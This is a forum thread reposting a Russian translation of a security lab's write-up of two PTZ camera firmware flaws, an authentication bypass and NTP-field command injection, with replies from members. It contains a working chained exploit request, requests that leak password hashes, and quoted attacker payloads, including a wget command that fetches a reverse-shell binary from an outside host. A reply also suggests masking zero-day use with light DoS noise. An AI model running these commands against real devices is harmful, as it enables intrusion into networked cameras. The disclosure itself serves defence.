• XSS.stack #1 – первый литературный журнал от юзеров форума

CVE-2024-8956, CVE-2024-8957: как украсть RCE нулевого дня (с небольшой помощью LLM)

m00r

CPU register
Пользователь
Регистрация
16.01.2019
Сообщения
1 091
Реакции
334
Гарант сделки
2

CVE-2024-8956, CVE-2024-8957: как украсть RCE нулевого дня (с небольшой помощью LLM)​

Ух ты. Классное оружие! Можно я его подержу? Я обещаю ничего не сломать. Честное слово!
Автор
Константин Лазарев
Опубликовано
31 октября 2024 г.

Введение​

Команда GreyNoise Labs обнаружила описанные ниже уязвимости после того, как отказалась от полезной нагрузки, отмеченной Sift — инструментом для поиска угроз на базе LLM, который мы используем для более эффективного поиска сигналов в (сером) шуме и создания тегов.
Если вам интересно, как Sift ежедневно сокращает количество HTTP-запросов с ~2 миллионов до ~50, которые требуют внимания аналитика, ознакомьтесь со следующим:
https://www.greynoise.io/blog/introducing-sift-automated-threat-hunting.
Взглянем на внутренний экземпляр Sift и отчёт, который привлёк наше внимание:
sift.png

После первоначального расследования выяснилось, что в нашем обширном историческом массиве данных и в интернете нет такой комбинации URI / параметра, и этого было достаточно, чтобы получить выговор.

Сведения об уязвимости​

Мы хотели бы поблагодарить VulnCheck и особенно Джейкоба Бейнса за помощь в раскрытии информации.
ValueHD Corporation (VHD) — поставщик AV-оборудования под собственной торговой маркой, в том числе дорогих камер с панорамированием, наклоном и масштабированием (PTZ), оснащённых сетевым интерфейсом (NDI).

Известные уязвимые программы и аппаратные средства: прошивка PTZ-камеры VHD < 6.3.40, используемая в устройствах PTZOptics, Multicam Systems SAS и SMTAV Corporation на базе процессора Hisilicon Hi3516A V600 SoC V60, V61 и V63.

Недостаточная аутентификация, CVE-2024-8956

Камеры оснащены встроенным lighttpd веб-сервером, который предоставляет конечным пользователям возможность транслировать видео в реальном времени и управлять / настраивать свои устройства непосредственно из браузера. Эта функция реализована с помощью двоичных файлов CGI, с которыми пользователи могут взаимодействовать через задокументированный API — [1],[2].

Для доступа к веб-интерфейсу требуется базовая аутентификация HTTP. Вот типичный HTTP-запрос, отправляемый при взаимодействии пользователя с интерфейсом:
Код:
POST /cgi-bin/param.cgi?post_network_other_conf HTTP/1.1
Host: <SNIP>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 690
Origin: <SNIP>
DNT: 1
Authorization: Digest username="admin", realm="", nonce="66315e58:deab77eb64a41bd4e96983f1745740d9", uri="/cgi-bin/param.cgi?post_network_other_conf", algorithm=MD5, response="349a9f2f33f88116b5fa6a48123845f8", qop=auth, nc=0000001c, cnonce="b69817615c5e4b19"
Connection: close
Referer: <SNIP>

cururl=http://&httpport=80&rtspport=554&ptzport=5678&udpport=1259&pelcod_addr=0&pelcop_addr=0&rtmp1_en=0&rtmp1_mrl=rtmp%3A%2F%2F192.168.100.138%2Flive%2Fstream0&rtmp1_video_en=0&rtmp1_audio_en=0&rtmp2_en=0&rtmp2_mrl=rtmp%3A%2F%2F192.168.100.138%2Flive%2Fstream1&rtmp2_video_en=0&rtmp2_audio_en=0&rtsp_auth_en=0&onvif_en=1&onvif_auth_en=0&mcast_en=0&mcast_addr=234.1.2.88&mcast_port=6688&ntp_en=1&ntp_time_zone=GMT5&ntp_addr=time3.google.com&ntp_osd_show_1=0&ntp_osd_x_1=0&ntp_osd_y_1=0&ntp_osd_show_2=0&ntp_osd_x_2=0&ntp_osd_y_2=0&ntp_time_interval=1440&srt_en=0&srt_port=4578&srt_passsid=0&srt_passstr=1234567891&srt_latency=120&srt_mode=listener&srt_bw_precent=25&srt_server=192.168.100.1

При доступе к устройству с опущенным заголовком Authorization CGI API не возвращает 401 Unauthorized и раскрывает конфиденциальную информацию о камере:
Код:
~ % curl "http://<SNIP>/cgi-bin/param.cgi?get_device_conf"
devname="ptzoptics"
devtype="V63C"
versioninfo="SOC v6.3.32 - ARM 6.3.51THI"
serial_num="<SNIP>"
device_model="F16.HI  "
Похоже, что это относится к нескольким задокументированным командам, которые принимает param.cgi: например, при использовании get_system_conf будут раскрыты MD5-хеши паролей учётных записей 21232f297a57a5a743894a0e4a801fc3 — ‘admin’ и 084e0343a0486ff05530df6c705c8bb4 — ‘guest’ в конфигурации по умолчанию:
Код:
~ % curl "http://<SNIP>/cgi-bin/param.cgi?get_system_conf"
username="admin"
userpasswd="21232f297a57a5a743894a0e4a801fc3"
guestname="guest"
guestpasswd="084e0343a0486ff05530df6c705c8bb4"
workmode="RTSP"
Поставка get_network_conf возвращает сетевую конфигурацию устройства:
Код:
~ % curl "http://<SNIP>/cgi-bin/param.cgi?get_network_conf"
dhcp="0"
ipaddr="<SNIP>"
netmask="255.255.254.0"
gateway="<SNIP>"
fdns="<SNIP>"
macaddr="<SNIP>"
isgb28181="0"
httpport="80"
rtspport="554"
ptzport="5678"
udpport="1259"
visca_addr="1"
pelcod_addr="0"
pelcop_addr="0"
rtsp_auth_en="0"
rtmp1_en="0"
rtmp1_mrl="rtmp://192.168.100.138/live/stream0"
rtmp1_video_en="0"
rtmp1_audio_en="0"
rtmp2_en="0"
rtmp2_mrl="rtmp://192.168.100.138/live/stream1"
rtmp2_video_en="0"
rtmp2_audio_en="0"
onvif_en="1"
onvif_auth_en="0"
mcast_en="0"
mcast_addr="234.1.2.88"
mcast_port="6688"
activemode_en="0"
activemode_host="192.168.100.138"
activemode_port="1234"
ntp_en="1"
ntp_time_zone="GMT5"
ntp_addr="time3.google.com"
ntp_osd_show_1="0"
ntp_osd_x_1="0"
ntp_osd_y_1="0"
ntp_osd_show_2="0"
ntp_osd_x_2="0"
ntp_osd_y_2="0"
ntp_time_interval="1440"
srt_en="0"
srt_addr="127.0.0.1"
srt_port="4578"
srt_passsid="0"
srt_passstr="1234567891"
srt_latency="120"
srt_mode="listener"
srt_server="192.168.100.1"
srt_bw_precent="25"
Обратите внимание на значение ntp_addr="time3.google.com" выше. Конфигурацию можно изменить с помощью недокументированной (но доступной при взаимодействии с графическим интерфейсом, как показано в самом начале этого раздела) команды post_network_other_conf:
Код:
~ % curl "http://<SNIP>/cgi-bin/param.cgi?post_network_other_conf" --data 'ntp_addr=pool.ntp.org'
{"Response":{"Result":"Success"}}
Код:
~ % curl "http://<SNIP>/cgi-bin/param.cgi?get_network_conf"
<SNIP>
ntp_addr="pool.ntp.org"
<SNIP>

Запись в файл​

Получить прошивку для дальнейшего анализа было очень просто.

Камеры VHD хранят свою сетевую конфигурацию в файле netport.conf — в двоичном файле param.cgi есть несколько строк, указывающих на его местоположение:
Код:
~/…/jffs2-root/home/www/cgi-bin % strings -n8 param.cgi | grep netport
get_netport_conf
/data/netport.conf
/data/netport.conf
/data/netport.conf
/data/netport.conf
plugin_netport.c
netport_init
netport_preHandle
netport_postHandle
netport_afterCompletion
netport_cleanup
netport_plugin_init
observer_netport
После проверки разборки, param.cgi раскрывает:

  • netport_preHandle() функция, которая проверяет, есть ли
    • get_netport_conf или
    • post_network_other_conf
    • аргументы были переданы в двоичный файл,
и

  • netport_postHandle() функция, вызывающая
    • configure_parse2web() или
    • configure_parse2file()
    • соответственно.
При вызове из netport_postHandle()configure_parse2file(r0_1, "/data/netport.conf") (что неудивительно) анализирует данные, предоставленные в веб-запросе, и записывает их в /data/netport.conf, как показано в этом псевдокоде на C:
Код:
r0_1 = fopen(arg2, &data_2b8d4);
if (r0_1 != 0)
{
    flock(fileno(r0_1), 2);
    ftruncate(fileno(r0_1), 0);
    lseek(fileno(r0_1), 0, 0);
    fputs(*(uint32_t*)r0_15, r0_1);
    flock(fileno(r0_1), 8);
    fclose(r0_1);
    int32_t var_14_5 = 0;
    usleep(0x7a120);
    system("sync");
}
В случае значения ntp_addr ни configure_parse2file ни какие-либо другие функции не выполняют очистку перед записью конфигурации.

Внедрение команд, CVE-2024-8957

Продукт основан на SoC Hi3516A, и v600_hi3516a сразу выделяется как самый большой двоичный файл:
Код:
~/…/jffs2-root % du -ah . | sort -rh | head -n 10
37M     .
24M     ./home
9.5M    ./lib
8.0M    ./home/v600_hi3516a
3.4M    ./home/www
3.2M    ./home/ko
3.1M    ./bin
2.7M    ./lib/libndi.so.4.6.3
1.9M    ./home/www/js
1.9M    ./home/HZK48S
При более внимательном рассмотрении v600_hi3516a оказывается, что есть функция, которая довольно небрежно запускает внешний двоичный файл ntp_client с некоторыми аргументами.

Важная часть:
Код:
<SNIP>
memcpy((&line + strlen(&line)), "/home/ntp_client ", 0x12, 0x12);
<SNIP>
system(&line);
<SNIP>
Полный псевдо - код функции:
Код:
{
   void line;
   memset(&line, 0, 0x80, 0x80);
   int32_t var_c = 0;
   memcpy((&line + strlen(&line)), "/home/ntp_client ", 0x12, 0x12);
   sub_b3280();
   int32_t r1_1 = data_1347338;
   sub_b338c("[%s %s +%-4d %s] gConfig_ntp_add…", 0xabfdf0, "ntp_process.c");
   if (data_1347338 != 0)
   {
       int32_t r3_3 = data_1347338;
       strcat(&line, r3_3, &line, r3_3, "ntp_client_run", r1_1);
   }
   if (data_134733c != 0)
   {
       memcpy((&line + strlen(&line)), &data_6b0e90, 2, 2, "ntp_client_run", r1_1);
       int32_t r3_6 = data_134733c;
       strcat(&line, r3_6, &line, r3_6);
   }
   sub_b3280();
   char const* const var_98 = "ntp_client_run";
   void* var_94_1 = &line;
   sub_b338c("[%s %s +%-4d %s] cmd:%s\n", 0xabfdf0, "ntp_process.c");
   system(&line);
   sub_b3280();
   char const* const var_98_1 = "ntp_client_run";
   sub_b338c("[%s %s +%-4d %s] leave\n\n", 0xabfdf0, "ntp_process.c");
   return 0;
}
Запуск ntp_client с QEMU и передача адреса сервера NTP в качестве первого аргумента сработали должным образом:
Код:
~/…/jffs2-root/home % qemu-arm -cpu cortex-a7 ./ntp_client pool.ntp.org 2 3
./ntp_client: cache '/etc/ld.so.cache' is corrupt
GetNtpTime 121: HostName = pool.ntp.org
send_packet(sockfd);


get_new_time 62: new_time 1714664470 499121
settimeofdaynfail
ntp get systime success!
Передача системной команды вместо адреса NTP-сервера также сработала:
Код:
~/…/jffs2-root/home % ls test
ls: cannot access 'test': No such file or directory

~/…/jffs2-root/home % qemu-arm -cpu cortex-a7 ./ntp_client $(touch test) 2 3
./ntp_client: cache '/etc/ld.so.cache' is corrupt
GetNtpTime 121: HostName = 2
gethostbyname fail
GetNtpTime fail
GetNtpTime 121: HostName = 2
gethostbyname fail
GetNtpTime fail

~/…/jffs2-root/home % ls test
test
При объединении уязвимостей в цепочку эксплуатация будет такой же простой, как:
Код:
curl "http://<IP>/cgi-bin/param.cgi?post_network_other_conf" --data 'ntp_addr=$(<CMD>)'

Пример​

Выполняется
Код:
~ % curl "http://<SNIP>/cgi-bin/param.cgi?post_network_other_conf" --data 'ntp_addr=$(ping${IFS}-c13${IFS}<SNIP>)'
{"Response":{"Result":"Success"}}
Правильный результат обратного вызова, подтверждающий RCE:
Код:
ubuntu@ip-172-26-10-187:~$ sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
16:25:32.213799 IP <SNIP> > ip-172-26-10-187.ec2.internal: ICMP echo request, id 45850, seq 0, length 64
<SNIP>
16:25:44.329724 IP <SNIP> > ip-172-26-10-187.ec2.internal: ICMP echo request, id 45850, seq 12, length 64

Активность в дикой природе​

Атака, в результате которой был обнаружен 0-day, исходила с IP-адреса 45.128.232.229. Она была зафиксирована сетью датчиков GreyNoise и отмечена внутренним экземпляром Sift 23 апреля 2024 года. Несмотря на то, что мы были ограничены во времени раскрытия информации, этот IP-адрес оставался пассивным и «выбыл» из наших данных.

Пример полезной нагрузки, зонд RCE:
Код:
POST /cgi-bin/param.cgi?post_network_other_conf HTTP/1.1
Connection: keep-alive
Content-Length: 97
Host: <SNIP>:81
&ntp_en=1&ntp_time_zone=GMT5&ntp_addr=$(ping${IFS}-c16${IFS}209.141.35.56)&ntp_time_interval=1440
В другом варианте использовалась wget для загрузки и запуска сценария оболочки, расположенного по адресу http://209.141.35.56/a, который, в свою очередь, загружал и запускал двоичный файл обратной оболочки:
Код:
cd /tmp; wget http://209.141.35.56/mipsshell; chmod 777 *; ./mipsshell 209.141.35.56 5556
209.141.35.56 оставался активным в течение всего июля 2024 года, даже после того, как ФБР, по-видимому, изъяло этот C2 во время нашего расследования в апреле:
seized.png


Судя по совпадающим IP-адресам, исследователи Fortinet описали (предположительно) того же злоумышленника (злоумышленников) в июне 2024 года: https://www.fortinet.com/blog/threa...at-of-malware-concealed-behind-cloud-services
 
Последнее редактирование:
Может лучше было перевод выкатить?
могу посоветовать один хороший браузер который отлично переводит и ютуб тоже 😁

p.s я пробовал, но не получилось html страницу сюда вставить
 
у меня хорошо так один из браузеров переводит и ютуб тоже 😁

p.s я пробовал, но не получилось html страницу сюда вставить
Не, я к тому - следовало ли делать такой короткий пост со статьей, когда можно было сделать её перевод и выставить сюда =)
 
Не, я к тому - следовало ли делать такой короткий пост со статьей, когда можно было сделать её перевод и выставить сюда =)
чтобы что?
 
Дополнить форум переведённой, интересной статьей
я считаю тут первична задча(как у меня) вообще понять о чем там пишут.
а у людей которые с такими вопросами на ты я думаю не составит труда прочитать или на крайний случай перевести
если рассматривать только ценность, то тоже вопрос будет ли это кому то интересно через год... хотя имеет смысл

ну а вообще да ты отправляешь меня сейчас на увлекательный вечер. и я пошол..((
 
я считаю тут первична задча(как у меня) вообще понять о чем там пишут.
а у людей которые с такими вопросами на ты я думаю не составит труда прочитать или на крайний случай перевести
если рассматривать только ценность, то тоже вопрос будет ли это кому то интересно через год... хотя имеет смысл

ну а вообще да ты отправляешь меня сейчас на увлекательный вечер. и я пошол..((
Ну, тут дело автора, я просто предложил
то тоже вопрос будет ли это кому то интересно через год... хотя имеет смысл
Кому то, да будет
 
Прикольные темы происходят в мире, никогда не забуду презентацию в дефкон где чувак создал БД и оставил порт от MySQL открытым, после проанализировал атаки которые приходили и в итоге поймал 0дни (https://media.defcon.org/DEF CON 32/DEF CON 32 presentations/DEF CON 32 - Alexander Rubin Martin Rakhmanov - Atomic Honeypot A MySQL Honeypot That Drops Shells.pdf)

Скажу вам такое, любой кто находит 0дни в хороших местах, очень даже хорошо знает что во время атаки нужно сделать лёгкий дос с одинаковыми параметрами в разные эндпоинты, чтобы было сложно найти уязвимую функцию.
 
Скажу вам такое, любой кто находит 0дни в хороших местах, очень даже хорошо знает что во время атаки нужно сделать лёгкий дос с одинаковыми параметрами в разные эндпоинты, чтобы было сложно найти уязвимую функцию.
ну вот а говорили что казачок👍
песши есщо
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх